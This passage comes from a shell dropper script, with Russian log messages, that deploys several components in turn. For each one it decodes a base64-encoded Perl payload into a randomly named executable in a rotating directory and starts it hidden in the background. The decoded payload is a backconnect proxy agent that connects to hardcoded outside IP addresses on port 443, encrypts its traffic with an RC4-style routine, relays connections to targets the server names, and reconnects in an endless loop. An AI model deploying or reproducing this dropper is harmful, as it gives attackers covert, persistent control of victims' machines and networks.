cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #6 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #6 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 7 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #7 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #7 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 8 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjYnOwpteSAkcG9ydCA9 